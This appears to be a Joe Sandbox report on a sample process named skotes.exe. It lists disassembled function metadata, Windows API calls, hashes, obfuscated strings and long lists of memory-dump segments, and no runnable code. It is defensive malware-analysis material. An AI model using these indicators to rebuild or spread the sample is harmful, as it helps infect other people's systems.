API ID: Mtx_unlock$Cnd_broadcast
String ID:
API String ID: 32384418-0
Opcode ID: 5c3d65db8751ba17445fcb1787d165ded7d679a84cf395d7f5a8d2003cfae295
Instruction ID: ff67522a08937435a8a55695b149d02fc572c86e0c9c8ba664eee9b9bf842f70
Opcode Fuzzy Hash: 5c3d65db8751ba17445fcb1787d165ded7d679a84cf395d7f5a8d2003cfae295
Instruction Fuzzy Hash: 4AA104B0A41609DFDF11EF68D948B5AB7B8FF14B20F048129E815D7241EB39EA05CBD1

Function 0079BB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 0079BBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 0079BBE4
_xtime_get.LIBCPMT ref: 0079BC07
__Xtime_diff_to_millis2.LIBCPMT ref: 0079BC13

Memory Dump Source

Source File: 00000005.00000002.2189593020.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.2189574271.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189593020.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189665137.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189685681.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189707432.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189827946.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189847762.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189872152.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189888140.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189907702.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189907702.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189961488.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189983634.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190006267.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190028791.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190056297.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190077555.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190099631.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190121644.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190145294.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190188880.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190222761.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190248174.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190271648.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190300164.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190324040.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190356300.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190380991.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190412037.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190439560.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190461970.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190484961.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190505953.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190601503.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190634767.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190809904.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190936562.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191049712.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191545517.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191599657.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191624717.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191624717.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191729857.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191772862.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191827965.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191873192.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191894309.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191916758.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 1d1671a99f061aa4e79fa56e415a2d43dfbd4e8e63dab465840c66a8ba2240e3
Instruction ID: 0353687fc318050c3c4c9c49816dd2f58225c7543bd1bafa4354c0ae6a7fb851
Opcode Fuzzy Hash: 1d1671a99f061aa4e79fa56e415a2d43dfbd4e8e63dab465840c66a8ba2240e3
Instruction Fuzzy Hash: F1213272A01119EFDF01EFA4ED859BEB7B9EF09710F104015F501B7291DB38AD019BA0

Function 007BF35F Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 007BF3A3

Strings

`'~, xrefs: 007BF375
8"~, xrefs: 007BF44B

Memory Dump Source

Source File: 00000005.00000002.2189593020.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.2189574271.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189593020.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189665137.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189685681.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189707432.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189827946.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189847762.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189872152.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189888140.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189907702.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189907702.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189961488.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2189983634.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190006267.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190028791.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190056297.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190077555.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190099631.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190121644.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190145294.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190188880.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190222761.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190248174.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190271648.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190300164.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190324040.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190356300.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190380991.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190412037.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190439560.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190461970.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190484961.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190505953.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190601503.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190634767.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190809904.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2190936562.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191049712.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191545517.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191599657.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191624717.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191624717.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191729857.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191772862.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191827965.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191873192.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191894309.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2191916758.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: ___free_lconv_mon
String ID: 8"~$`'~
API String ID: 3903695350-10081231
Opcode ID: ca93e78b4ff8da7b16310ce28ffad3d6c9d157592c633bfaf2fa6875f1990475
Instruction ID: 57ce17a0b5eb027aa8e997ea0ce86c989c2f93aa9d63570e0661dc64cbfde434
Opcode Fuzzy Hash: ca93e78b4ff8da7b16310ce28ffad3d6c9d157592c633bfaf2fa6875f1990475
Instruction Fuzzy Hash: 58313931600646EFEB21AA39DC49BDBB3E8EF00752F14442AE459D7599DF79AC80CB21

Analysis Process: skotes.exePID: 7692, Parent PID: 1064COMMON

Execution Graph

Execution Coverage:	5.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	6.7%
Total number of Nodes:	1234
Total number of Limit Nodes:	128

Executed Functions

Function 0078E530 Relevance: 25.5, APIs: 2, Strings: 12, Instructions: 968
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

MGE+, xrefs: 0078E821
GnNoc2Hc, xrefs: 0078E56C
UA==, xrefs: 0078EB0F, 0078ED56
246122658369, xrefs: 0078F737, 0078FA14, 007905E7, 0079099A
WDw=, xrefs: 0078F71D, 0078F9FA
WTs=, xrefs: 007905CA
111, xrefs: 0078F7A0
MQ==, xrefs: 0078E592
L1~, xrefs: 0078F7E5
WTw=, xrefs: 0079097D
#, xrefs: 00790624
9c9aa5, xrefs: 0078FB8E

Memory Dump Source

Source File: 0000000F.00000002.3359832839.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000F.00000002.3359603430.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3359832839.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361027940.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361233905.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361479133.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362735316.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362971946.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363251753.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363537262.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364214079.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364428716.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364630115.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364771540.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365073331.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365150986.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365365787.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365567330.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365760629.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366002961.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366253133.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366439405.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366647925.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366842904.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367004462.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367186457.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367384241.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367547975.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367768155.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368000573.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368193923.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368327288.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368472045.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368649548.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368779943.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368978935.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369152210.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369323897.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369525997.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370088916.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370234628.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370434745.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370608073.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370761020.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370977953.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_780000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: #$111$246122658369$9c9aa5$GnNoc2Hc$L1~$MGE+$MQ==$UA==$WDw=$WTs=$WTw=
API String ID: 0-816222973
Opcode ID: 1c56a5c12b6ad1c69d33c1415985e1b9195c2a78ec0d6a56363498f4ebe35ab2
Instruction ID: 5a2ea564bc9198ec1b447c3efd9249e5ca3ef48970742952e2afcc1d7e10b0e0
Opcode Fuzzy Hash: 1c56a5c12b6ad1c69d33c1415985e1b9195c2a78ec0d6a56363498f4ebe35ab2
Instruction Fuzzy Hash: 2682D270A14288DBEF14EF68C949BDE7FB5EB06304F508588E805673C2D7795A88CBD2

Function 007C2517 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 374
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,007D6758), ref: 007C275C

Strings

Eastern Standard Time, xrefs: 007C27CB
Eastern Summer Time, xrefs: 007C27FA
Xg}, xrefs: 007C2705, 007C270B

Memory Dump Source

Source File: 0000000F.00000002.3359832839.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000F.00000002.3359603430.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3359832839.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361027940.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361233905.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361479133.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362735316.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362971946.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363251753.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363537262.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364214079.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364428716.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364630115.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364771540.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365073331.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365150986.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365365787.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365567330.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365760629.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366002961.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366253133.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366439405.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366647925.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366842904.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367004462.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367186457.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367384241.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367547975.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367768155.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368000573.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368193923.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368327288.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368472045.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368649548.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368779943.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368978935.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369152210.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369323897.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369525997.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370088916.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370234628.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370434745.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370608073.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370761020.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370977953.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: InformationTimeZone
String ID: Eastern Standard Time$Eastern Summer Time$Xg}
API String ID: 565725191-4203849679
Opcode ID: fb54b4498e382ca2d5e68f645b726e931402bbf1890052351c7b5c227d40c7a6
Instruction ID: 9f519b1999a8cc91553b44024af39c1c9e732051d2c9f779c8cf1469fa0192d0
Opcode Fuzzy Hash: fb54b4498e382ca2d5e68f645b726e931402bbf1890052351c7b5c227d40c7a6
Instruction Fuzzy Hash: 3DC12771A00245EFDB10AF689C85FAA7BB9EF59350F24409DE540A7253EB3D9E03C760

Function 0078EB4E Relevance: 31.9, APIs: 3, Strings: 14, Instructions: 2131
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0078EB51
CreateDirectoryA.KERNEL32(00000000), ref: 0078EC83
GetFileAttributesA.KERNEL32(00000000), ref: 0078ED98

Strings

FCQgKF==, xrefs: 0078FEE4
246122658369, xrefs: 0078F737, 0078FA14, 0078FE00, 007905E7
111, xrefs: 0078F7A0
stoi argument out of range, xrefs: 007908C4
L1~, xrefs: 0078F7E5
#, xrefs: 00790624
9c9aa5, xrefs: 0078FB8E
invalid stoi argument, xrefs: 007908B0
UA==, xrefs: 0078EC41, 0078ED56, 0078EF89, 0078F2CE
WDw=, xrefs: 0078F71D, 0078F9FA, 0078FDE3
WTs=, xrefs: 007905CA
GiQaT29tduF=, xrefs: 0078FEB6
mxo1L0x, xrefs: 0078EE84
FisgLnsCZO1i, xrefs: 0078FF19

Memory Dump Source

Source File: 0000000F.00000002.3359832839.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000F.00000002.3359603430.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3359832839.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361027940.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361233905.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361479133.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362735316.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362971946.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363251753.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363537262.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364214079.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364428716.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364630115.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364771540.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365073331.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365150986.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365365787.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365567330.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365760629.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366002961.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366253133.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366439405.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366647925.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366842904.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367004462.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367186457.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367384241.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367547975.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367768155.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368000573.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368193923.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368327288.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
